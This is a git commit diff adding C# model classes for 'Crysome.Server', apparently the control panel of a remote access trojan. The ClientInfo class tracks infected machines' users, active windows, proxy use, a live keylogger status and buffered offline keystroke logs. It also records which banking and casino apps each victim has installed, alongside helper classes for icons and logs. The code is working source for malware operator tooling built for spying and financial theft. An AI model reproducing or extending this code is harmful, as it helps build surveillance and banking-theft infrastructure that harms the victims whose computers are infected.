initial commit
This commit is contained in:
@@ -0,0 +1,505 @@
|
||||
using System;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Windows.Media.Imaging;
|
||||
using Crysome.Common.Network;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public class ClientInfo : INotifyPropertyChanged
|
||||
{
|
||||
private string _identifier = "";
|
||||
|
||||
private string _address = "";
|
||||
|
||||
private int _port;
|
||||
|
||||
private string _username = "";
|
||||
|
||||
private string _computerName = "";
|
||||
|
||||
private string _os = "";
|
||||
|
||||
private string _activeWindow = "";
|
||||
|
||||
private string _uptime = "";
|
||||
|
||||
private string _countryCode = "";
|
||||
|
||||
private BitmapImage _flagImage;
|
||||
|
||||
private string _group = "";
|
||||
|
||||
private string _gpu = "";
|
||||
|
||||
private string _notes = "";
|
||||
|
||||
private bool _proxyActive;
|
||||
|
||||
private int _pingValue;
|
||||
|
||||
private bool _isPinned;
|
||||
|
||||
private bool _isAnnounce;
|
||||
|
||||
private bool _isMuted;
|
||||
|
||||
private DateTime _muteUntil;
|
||||
|
||||
private int[] _pingSamples = new int[4];
|
||||
|
||||
private int _pingSampleIdx;
|
||||
|
||||
private int _pingSampleCount;
|
||||
|
||||
private string _appsInventoryJson = "";
|
||||
|
||||
private string _bankInventoryJson = "";
|
||||
|
||||
private string _casinoInventoryJson = "";
|
||||
|
||||
private bool _keyloggerActive;
|
||||
|
||||
private readonly StringBuilder _offlineKeylogBuffer = new StringBuilder();
|
||||
|
||||
public CrysomeClient Owner { get; set; }
|
||||
|
||||
public string SessionId { get; set; }
|
||||
|
||||
public DateTime ConnectTime { get; set; }
|
||||
|
||||
public string Identifier
|
||||
{
|
||||
get
|
||||
{
|
||||
return _identifier;
|
||||
}
|
||||
set
|
||||
{
|
||||
_identifier = value;
|
||||
Notify("Identifier");
|
||||
}
|
||||
}
|
||||
|
||||
public string Address
|
||||
{
|
||||
get
|
||||
{
|
||||
return _address;
|
||||
}
|
||||
set
|
||||
{
|
||||
_address = value;
|
||||
Notify("Address");
|
||||
}
|
||||
}
|
||||
|
||||
public int Port
|
||||
{
|
||||
get
|
||||
{
|
||||
return _port;
|
||||
}
|
||||
set
|
||||
{
|
||||
_port = value;
|
||||
Notify("Port");
|
||||
}
|
||||
}
|
||||
|
||||
public string Username
|
||||
{
|
||||
get
|
||||
{
|
||||
return _username;
|
||||
}
|
||||
set
|
||||
{
|
||||
_username = value;
|
||||
Notify("Username");
|
||||
}
|
||||
}
|
||||
|
||||
public string ComputerName
|
||||
{
|
||||
get
|
||||
{
|
||||
return _computerName;
|
||||
}
|
||||
set
|
||||
{
|
||||
_computerName = value;
|
||||
Notify("ComputerName");
|
||||
}
|
||||
}
|
||||
|
||||
public string OS
|
||||
{
|
||||
get
|
||||
{
|
||||
return _os;
|
||||
}
|
||||
set
|
||||
{
|
||||
_os = value;
|
||||
Notify("OS");
|
||||
}
|
||||
}
|
||||
|
||||
public string ActiveWindow
|
||||
{
|
||||
get
|
||||
{
|
||||
return _activeWindow;
|
||||
}
|
||||
set
|
||||
{
|
||||
_activeWindow = value;
|
||||
Notify("ActiveWindow");
|
||||
}
|
||||
}
|
||||
|
||||
public string Uptime
|
||||
{
|
||||
get
|
||||
{
|
||||
return _uptime;
|
||||
}
|
||||
set
|
||||
{
|
||||
_uptime = value;
|
||||
Notify("Uptime");
|
||||
}
|
||||
}
|
||||
|
||||
public string CountryCode
|
||||
{
|
||||
get
|
||||
{
|
||||
return _countryCode;
|
||||
}
|
||||
set
|
||||
{
|
||||
_countryCode = value;
|
||||
Notify("CountryCode");
|
||||
FlagImage = FlagCache.Get((value ?? "").Trim().ToUpperInvariant());
|
||||
}
|
||||
}
|
||||
|
||||
public BitmapImage FlagImage
|
||||
{
|
||||
get
|
||||
{
|
||||
return _flagImage;
|
||||
}
|
||||
set
|
||||
{
|
||||
_flagImage = value;
|
||||
Notify("FlagImage");
|
||||
}
|
||||
}
|
||||
|
||||
public string Group
|
||||
{
|
||||
get
|
||||
{
|
||||
return _group;
|
||||
}
|
||||
set
|
||||
{
|
||||
_group = value;
|
||||
Notify("Group");
|
||||
}
|
||||
}
|
||||
|
||||
public string GPU
|
||||
{
|
||||
get
|
||||
{
|
||||
return _gpu;
|
||||
}
|
||||
set
|
||||
{
|
||||
_gpu = value;
|
||||
Notify("GPU");
|
||||
}
|
||||
}
|
||||
|
||||
public string Notes
|
||||
{
|
||||
get
|
||||
{
|
||||
return _notes;
|
||||
}
|
||||
set
|
||||
{
|
||||
_notes = value;
|
||||
Notify("Notes");
|
||||
}
|
||||
}
|
||||
|
||||
public bool ProxyActive
|
||||
{
|
||||
get
|
||||
{
|
||||
return _proxyActive;
|
||||
}
|
||||
set
|
||||
{
|
||||
_proxyActive = value;
|
||||
Notify("ProxyActive");
|
||||
Notify("ProxyStatus");
|
||||
}
|
||||
}
|
||||
|
||||
public string ProxyStatus
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!_proxyActive)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return "TRUE";
|
||||
}
|
||||
}
|
||||
|
||||
public int PingValue
|
||||
{
|
||||
get
|
||||
{
|
||||
return _pingValue;
|
||||
}
|
||||
set
|
||||
{
|
||||
_pingValue = value;
|
||||
Notify("PingValue");
|
||||
Notify("PingDisplay");
|
||||
}
|
||||
}
|
||||
|
||||
public string PingDisplay
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_pingValue < 0 || _pingSampleCount <= 0)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
return _pingValue + " ms";
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsPinned
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isPinned;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isPinned = value;
|
||||
Notify("IsPinned");
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsAnnounce
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isAnnounce;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isAnnounce = value;
|
||||
Notify("IsAnnounce");
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsMuted
|
||||
{
|
||||
get
|
||||
{
|
||||
return _isMuted;
|
||||
}
|
||||
set
|
||||
{
|
||||
_isMuted = value;
|
||||
Notify("IsMuted");
|
||||
}
|
||||
}
|
||||
|
||||
public DateTime MuteUntil
|
||||
{
|
||||
get
|
||||
{
|
||||
return _muteUntil;
|
||||
}
|
||||
set
|
||||
{
|
||||
_muteUntil = value;
|
||||
Notify("MuteUntil");
|
||||
}
|
||||
}
|
||||
|
||||
public string AppsInventoryJson
|
||||
{
|
||||
get
|
||||
{
|
||||
return _appsInventoryJson;
|
||||
}
|
||||
private set
|
||||
{
|
||||
_appsInventoryJson = value ?? "";
|
||||
Notify("AppsInventoryJson");
|
||||
}
|
||||
}
|
||||
|
||||
public string BankInventoryJson
|
||||
{
|
||||
get
|
||||
{
|
||||
return _bankInventoryJson;
|
||||
}
|
||||
private set
|
||||
{
|
||||
_bankInventoryJson = value ?? "";
|
||||
Notify("BankInventoryJson");
|
||||
}
|
||||
}
|
||||
|
||||
public string CasinoInventoryJson
|
||||
{
|
||||
get
|
||||
{
|
||||
return _casinoInventoryJson;
|
||||
}
|
||||
private set
|
||||
{
|
||||
_casinoInventoryJson = value ?? "";
|
||||
Notify("CasinoInventoryJson");
|
||||
}
|
||||
}
|
||||
|
||||
public bool KeyloggerActive
|
||||
{
|
||||
get
|
||||
{
|
||||
return _keyloggerActive;
|
||||
}
|
||||
set
|
||||
{
|
||||
_keyloggerActive = value;
|
||||
Notify("KeyloggerActive");
|
||||
Notify("KeyloggerStatus");
|
||||
}
|
||||
}
|
||||
|
||||
public string KeyloggerStatus
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!_keyloggerActive)
|
||||
{
|
||||
return "No";
|
||||
}
|
||||
return "Live";
|
||||
}
|
||||
}
|
||||
|
||||
public string OfflineKeylogData => _offlineKeylogBuffer.ToString();
|
||||
|
||||
public ObservableCollection<InventoryDot> AppInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
||||
|
||||
public ObservableCollection<InventoryDot> BankInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
||||
|
||||
public ObservableCollection<InventoryDot> CasinoInventoryDots { get; } = new ObservableCollection<InventoryDot>();
|
||||
|
||||
public event PropertyChangedEventHandler PropertyChanged;
|
||||
|
||||
private void Notify([CallerMemberName] string name = null)
|
||||
{
|
||||
this.PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name));
|
||||
}
|
||||
|
||||
public void AppendOfflineKeylog(string data)
|
||||
{
|
||||
_offlineKeylogBuffer.Append(data);
|
||||
Notify("OfflineKeylogData");
|
||||
}
|
||||
|
||||
public void ApplyInventoryJson(string appsJson, string bankJson, string casinoJson = null)
|
||||
{
|
||||
AppsInventoryJson = appsJson ?? "";
|
||||
BankInventoryJson = bankJson ?? "";
|
||||
CasinoInventoryJson = casinoJson ?? "";
|
||||
AppInventoryDots.Clear();
|
||||
BankInventoryDots.Clear();
|
||||
CasinoInventoryDots.Clear();
|
||||
FillInventoryDots(appsJson, AppInventoryDots, "app");
|
||||
FillInventoryDots(bankJson, BankInventoryDots, "bank");
|
||||
FillInventoryDots(casinoJson, CasinoInventoryDots, "casino");
|
||||
}
|
||||
|
||||
private static void FillInventoryDots(string json, ObservableCollection<InventoryDot> target, string kind)
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(json);
|
||||
if (!jsonDocument.RootElement.TryGetProperty("items", out var value))
|
||||
{
|
||||
return;
|
||||
}
|
||||
foreach (JsonElement item in value.EnumerateArray())
|
||||
{
|
||||
JsonElement value2;
|
||||
string text = (item.TryGetProperty("id", out value2) ? value2.GetString() : "?");
|
||||
JsonElement value3;
|
||||
bool present = item.TryGetProperty("present", out value3) && value3.ValueKind == JsonValueKind.True;
|
||||
BitmapImage icon = ((kind == "app") ? InventoryIconCache.GetApp(text) : ((kind == "bank") ? InventoryIconCache.GetBank(text) : InventoryIconCache.GetCasino(text)));
|
||||
target.Add(new InventoryDot
|
||||
{
|
||||
Id = (text ?? "?"),
|
||||
Present = present,
|
||||
Icon = icon
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void AddPingSample(int rtt)
|
||||
{
|
||||
_pingSamples[_pingSampleIdx] = rtt;
|
||||
_pingSampleIdx = (_pingSampleIdx + 1) % 4;
|
||||
if (_pingSampleCount < 4)
|
||||
{
|
||||
_pingSampleCount++;
|
||||
}
|
||||
int num = 0;
|
||||
for (int i = 0; i < _pingSampleCount; i++)
|
||||
{
|
||||
num += _pingSamples[i];
|
||||
}
|
||||
PingValue = num / _pingSampleCount;
|
||||
}
|
||||
|
||||
public bool CheckMuteExpired()
|
||||
{
|
||||
if (_isMuted && DateTime.Now >= _muteUntil)
|
||||
{
|
||||
_isMuted = false;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public static class FlagCache
|
||||
{
|
||||
private static readonly Dictionary<string, BitmapImage> _cache = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static bool _loaded;
|
||||
|
||||
public static int Count => _cache.Count;
|
||||
|
||||
public static string DebugInfo { get; private set; } = "";
|
||||
|
||||
public static BitmapImage Get(string code)
|
||||
{
|
||||
if (!_loaded)
|
||||
{
|
||||
Load();
|
||||
}
|
||||
if (_cache.TryGetValue(code, out var value))
|
||||
{
|
||||
return value;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void Load()
|
||||
{
|
||||
_loaded = true;
|
||||
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
stringBuilder.AppendLine("BaseDir: " + baseDirectory);
|
||||
string[] array = new string[4]
|
||||
{
|
||||
Path.Combine(baseDirectory, "flags"),
|
||||
baseDirectory,
|
||||
Path.Combine(baseDirectory, "icons"),
|
||||
Path.Combine(baseDirectory, "icons", "flags")
|
||||
};
|
||||
foreach (string text in array)
|
||||
{
|
||||
bool flag = Directory.Exists(text);
|
||||
stringBuilder.AppendLine("Search: " + text + " -> " + (flag ? "EXISTS" : "NOT FOUND"));
|
||||
if (!flag)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] files = Directory.GetFiles(text, "*.png");
|
||||
int num = 0;
|
||||
string[] array2 = files;
|
||||
foreach (string text2 in array2)
|
||||
{
|
||||
string text3 = Path.GetFileNameWithoutExtension(text2).ToUpperInvariant();
|
||||
if (!text3.Contains("@") && text3.Length == 2 && !_cache.ContainsKey(text3))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = File.ReadAllBytes(text2);
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(buffer);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
_cache[text3] = bitmapImage;
|
||||
num++;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
stringBuilder.AppendLine("FAIL: " + text2 + " -> " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
stringBuilder.AppendLine("Loaded " + num + " flags from " + text);
|
||||
if (num > 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
stringBuilder.AppendLine("Total flags: " + _cache.Count);
|
||||
DebugInfo = stringBuilder.ToString();
|
||||
try
|
||||
{
|
||||
File.WriteAllText(Path.Combine(baseDirectory, "flag_debug.log"), DebugInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public class InventoryDot
|
||||
{
|
||||
public string Id { get; set; }
|
||||
|
||||
public bool Present { get; set; }
|
||||
|
||||
public BitmapImage Icon { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public static class InventoryIconCache
|
||||
{
|
||||
private static readonly Dictionary<string, BitmapImage> _apps = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static readonly Dictionary<string, BitmapImage> _banks = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static readonly Dictionary<string, BitmapImage> _casinos = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static bool _loaded;
|
||||
|
||||
private static readonly object _loadLock = new object();
|
||||
|
||||
public static BitmapImage GetApp(string id)
|
||||
{
|
||||
EnsureLoaded();
|
||||
_apps.TryGetValue(id ?? "", out var value);
|
||||
return value;
|
||||
}
|
||||
|
||||
public static BitmapImage GetBank(string id)
|
||||
{
|
||||
EnsureLoaded();
|
||||
_banks.TryGetValue(id ?? "", out var value);
|
||||
return value;
|
||||
}
|
||||
|
||||
public static BitmapImage GetCasino(string id)
|
||||
{
|
||||
EnsureLoaded();
|
||||
_casinos.TryGetValue(id ?? "", out var value);
|
||||
return value;
|
||||
}
|
||||
|
||||
private static void EnsureLoaded()
|
||||
{
|
||||
if (_loaded)
|
||||
{
|
||||
return;
|
||||
}
|
||||
lock (_loadLock)
|
||||
{
|
||||
if (!_loaded)
|
||||
{
|
||||
_loaded = true;
|
||||
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
LoadFromDir(Path.Combine(baseDirectory, "inventory", "apps"), _apps);
|
||||
LoadFromDir(Path.Combine(baseDirectory, "inventory", "banks"), _banks);
|
||||
LoadFromDir(Path.Combine(baseDirectory, "inventory", "casinos"), _casinos);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void LoadFromDir(string dir, Dictionary<string, BitmapImage> cache)
|
||||
{
|
||||
if (!Directory.Exists(dir))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] files = Directory.GetFiles(dir, "*.png");
|
||||
foreach (string path in files)
|
||||
{
|
||||
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(path);
|
||||
if (!cache.ContainsKey(fileNameWithoutExtension))
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = File.ReadAllBytes(path);
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(buffer);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
cache[fileNameWithoutExtension] = bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public class LogLineEntry
|
||||
{
|
||||
public string TimeText { get; set; }
|
||||
|
||||
public string Category { get; set; }
|
||||
|
||||
public string Message { get; set; }
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
string text = (string.IsNullOrEmpty(Category) ? "" : (" [" + Category + "]"));
|
||||
return "[" + TimeText + "]" + text + " " + Message;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user